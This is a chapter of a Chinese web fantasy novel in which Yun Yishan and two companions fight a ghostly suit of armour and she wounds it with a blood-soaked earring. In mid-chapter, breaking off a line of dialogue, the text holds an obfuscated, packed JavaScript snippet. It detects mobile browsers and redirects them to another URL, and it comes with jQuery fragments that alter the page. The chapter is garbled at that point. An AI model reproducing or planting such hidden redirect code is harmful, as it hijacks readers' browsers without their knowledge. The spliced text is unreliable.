18. 拿命来吧

作品:《本宫被迫成为最强哨兵

    云亦姗张了张嘴,却不知道该怎么回答。


    总不能说,她是一个史书上从未记载过的国家的亡国皇后吧,她不要面子的吗?


    气氛变得更加压抑。


    陆非尘回望那副静立的甲胄:“我有个推测,现在我们无法对它造成伤害的原因,是维度错位。”


    柏羽丰一愣:“什么意思?”


    “简单来说,那副甲胄和我们处在不同的时空之中。”


    云亦姗一脸茫然:“可是,我们明明看得到、也摸得着它啊。”


    陆非尘进一步分析:“我们看到的幽灵甲胄,其实是一种能量的载体。比如这副甲胄主人临终的执念,被储存为某种精神能量,现在偶然被激活,投射在了我们所处的时空。”


    陆非尘用了一个更形象的比喻:“就像两张叠在一起的纸,我们的攻击不在同一个‘时空图层’上,因此无法交互。”


    柏羽丰皱眉:“不对啊,甲胄明明侵蚀了我们时空,拖把和石头都风化了,这又怎么解释?”


    陆非尘脸色凝重:“这就是麻烦之处,甲胄所在的时空维度可以扰动我们,但我们无法反向触及它。”


    “可刚才我们确认了,只有云亦姗能被甲胄真实触碰,而她似乎也能扰动它,”柏羽丰情急之下脱口而出,“这又是为什么?”


    被点名的云亦姗浑身一僵。该怎么解释?他的问题已经将她最大的秘密掀开了一角。她心乱如麻,不由自主攥紧了手,伤口崩裂,鲜血汩汩涌出。


    陆非尘不动声色捉住她的手,压住伤口止血,语气淡淡:“我不知道……也许,她身上带着什么特殊的东西,能让他们所处的时空短暂交错。”


    “那现在怎么办?”柏羽丰固执地不去想这个问题的答案,只追问陆非尘,“难道只能看着她被追杀?”


    “除非有办法能让我们强行切入它的时空图层。”


    “你说得轻松,怎么切?!”


    话音未落,甲胄的刀锋已再次撕裂空气,斩向他们!


    “咔”一声,刀刃击中陆非尘的精神力屏障,这一击力道刚猛浑厚,产生剧烈的震荡。屏障碎裂,陆非尘踉跄后退,嘴角渗出血丝。


    三人狼狈闪避。


    云亦姗看到陆非尘的血,心头一紧——不行,再这样下去,他们会死在这。


    “你们刚说的切入图层,到底要怎么做?”


    柏羽丰拽着她的胳膊就跑:“哪有那么容易!你能触碰到它已经是奇迹了,哪还能指望你反过来伤它!”


    云亦姗在奔跑中回首,月色下,幽灵甲胄的刀刃上还残留着她的血,鲜红未褪。


    她眼睛一亮,生出一个大胆的念头。


    “陆非尘!剑!快!”


    陆非尘咽下口中的腥甜,掌心一翻,精神力迅速凝出一柄剑抛给她。


    云亦姗纵身一跃接住,受伤的手狠狠一攥,往剑身一抹到底,红色血线在冰蓝色剑刃上蔓延,瞬间化作一柄赤色凶兵。


    她咬紧牙关,猛地甩开柏羽丰的手,双手持剑,骤然转身——


    甲胄脚步一滞,似未料到云亦姗竟然杀了个回马枪,长刀扬起,裹挟着肃杀横劈而来。


    云亦姗微眯起眼,矮身避过,趁其刀势未收,以迅雷不及掩耳之势,一剑刺向甲胄的脖颈。


    幽灵甲胄仰身急退,避开她的攻击,手腕一翻,刀刃自另一侧再度劈下。


    云亦姗来不及再刺,情急之下横剑格挡。剑身上断断续续的血迹在月光下如赤色冰裂纹,光芒忽明忽灭。


    “Duang——!”


    刀剑相击,竟发出一声清越铮鸣!


    “砍到了!”柏羽丰狂喜高呼。可下一秒,长剑如血色琉璃崩裂,再度溃散。


    陆非尘瞳孔骤缩:她的血扰动了它的时空。


    云亦姗急急回身,一把拽起柏羽丰就逃。


    “跑!”


    云亦姗喘着粗气,手中的血不断滴落:“还、不够……”柏羽丰眉头紧蹙,抬手一招,鸵鸟飞奔而来,两人一跃而上。鸵鸟撒开长腿,继续遛着甲胄满场子跑。


    “你手怎么样?”柏羽丰急问。


    “没事。”云亦姗呲着牙,回望紧追不舍的敌人,“精神力武器还是无法击穿它……如果是实体呢?”


    脑海中忽然闪过耳环与刀刃相击的画面。


    ——别开玩笑了,一个耳环能打出什么伤害!可转念一想,不试试怎么知道,今晚离谱的事还少吗?


    她抬手摘下左耳那枚耳环。那是一个极简金环,无镶无嵌,在她琳琅满目的首饰中算不得上乘,却是她的最爱,也是它陪着自己走到前世最后一刻。


    她最后看了一眼掌心的小圆环,毫不犹豫合掌一压,鲜血浸透耳环。


    “陆非尘!”她朝不远处喊,“快凝个弹弓!”


    陆非尘一愣,随即掌心翻转——一把小巧玲珑的半透明弹弓迅速凝成。


    “疯了……”柏羽丰喃喃,“刀剑都伤不到,用弹弓打它?”


    云亦姗接过飞来的弹弓,反身半蹲在鸵鸟背上,努力保持身体平衡:“少废话,让你的鸟跑稳点!”


    她将耳环卡进弹兜,拉满弓弦,眯眼锁定甲胄心口,同时在耳环上灌入她的精神力——不就是执念?谁没有呢,她的执念就是送这个狗贼下地狱!


    耳环赤光流转,如一颗闪耀的红宝石,美丽而致命。


    “祸害遗千年!”她咬牙喝道,“让你蹦跶到现在,是本宫一时大意了,拿命来!”


    手一松。


    赤色流星朝甲胄而去——


    柏羽丰本以为云亦姗是在搞抽象,没想到那颗耳环如一颗赤色子弹,直贯甲胄胸甲!


    “噗——”一声闷响,耳环没入,甲胄浑身一震,竟踉跄跪地!惯性作用下,它仍朝前滑出数米,铠甲划过地面,一阵稀里哗啦叮当哐啷后,最终停了下来。


    柏羽丰瞳孔地震:叽瑟斯……这也行?


    所有人屏息凝视甲胄缓缓站起,低头看向胸口,鳞甲破碎,裂开了一个指节大小的洞。而那处伤口,并没有像刚才那样恢复如初。


    “哦买噶!!”柏羽丰猛地转身,一把抱住云亦姗,“你做到了!你真的打伤它了!”


    陆非尘望向云亦姗,刚要扬起的嘴角,在看到鸵鸟背上相拥的两人时,瞬间僵住——啊,现在很想把那玩意儿从鸟背上射下来。等他送幽灵甲胄下地狱,就来超度柏羽丰。


    “还有吗?”云亦姗急问柏羽丰,声音颤抖,“博物馆里……还有没有其他大胤的武器


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107131|195611||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?弓啊剑啊,都可以拿来试试!”


    柏羽丰快速调出终端:“藏品清单全在这里……都是一些祭祀仪式用的物品,没有武器。”他想了想反问,“就算给你一把真家伙……你有把握打赢一个骁勇善战的北朔将军?”


    云亦姗心头一沉。


    等等——仪式?她忽然想起古董店她的那件婚服,可是……一件华服,又怎么能和甲胄抗衡?


    陆非尘不知何时来到她身边,撕下衣摆,沉默地为她包扎伤口。


    “我在想,刚才你的血作为媒介,短暂地建立了一个通道,让两个图层产生了交集。”他快速分析局势,“如果我们将这个通道持续打开,变大呢?”


    云亦姗怔住:“通道?”


    “对。”陆非尘松手,不动声色挤开柏羽丰,“不是你的血打伤它,而是让它所在的那个图层,和我们这个图层,在那一点‘重叠’了。所以你用耳环打伤它,不是因为武器变强,而是因为攻击发生的那一瞬间,你们处于同一个‘空间’了。”


    柏羽丰听得倒抽一口凉气:“你是说……她能把两个时空连接在一起?!”


    “可以这么理解。”陆非尘看向云亦姗仍在渗血的掌心,“但是靠涂在武器上的血——那点重叠面积太小,接触时间太短,无法造成致命伤害。”


    他顿了一顿,说出那个惊天构想:“我们需要的是用某种方法,将你开启的这个通道,维持住并扩大,大到足以让我们所有人都能进去,在同一个图层,与它公平对决。”


    “要怎样做?”


    “找到来自同源并承载强大执念的东西,不在大小,而在其念力庞大、稳定。”


    云亦姗脑子飞转:“同源……执念……”


    “说得简单,哪有这样的东西,除非是北朔的宿敌在世。”柏羽丰用手肘推开他,“你老挤我干什么!”


    宿敌?


    怎么没有!


    云亦姗略一沉吟,猛地抬头:“我知道哪里有这样的东西!”


    ——


    晨光熹微,生存区刚从惊魂之夜中苏醒。早起的人们,心有余悸地谈论昨夜的都市怪谈,一回头就看到难忘的一幕:


    一只鸵鸟驮着三人,正以离谱的速度在马路中央狂奔!


    “我是不是没睡醒……”路人瞳孔地震,“鸵鸟怎么也要早起上班?命这么苦?”


    话音未落,一个披着甲胄的高大身影提着大刀紧随其后,跑了过去。


    “卧槽!连兵马俑都得打卡上班!做牛马哪有不命苦的!”


    前方,那家古董店终于出现在视野尽头!


    “砰!”店铺门被一脚踹开,云亦姗冲进去,目光锁定中央玻璃展柜。


    “就是这个!”她喘着粗气,“上次老板说过,这件婚服也是大胤的!”她随手抄起架上的雕像“哐”一声击碎玻璃。


    无数晶莹碎片应声而落,折射出一个个绚烂的光斑,连同被反锁数百年的执念,扑面而来。


    几乎在她取下婚服的同时——


    “轰!!!”


    古董店的墙被一道狂暴身影撞得粉碎!


    尘土飞扬中,幽灵甲胄手持长刀,堵死唯一的入口,空洞的眼睛“看向”柜前的云亦姗,以及她手中赤红如血的嫁衣。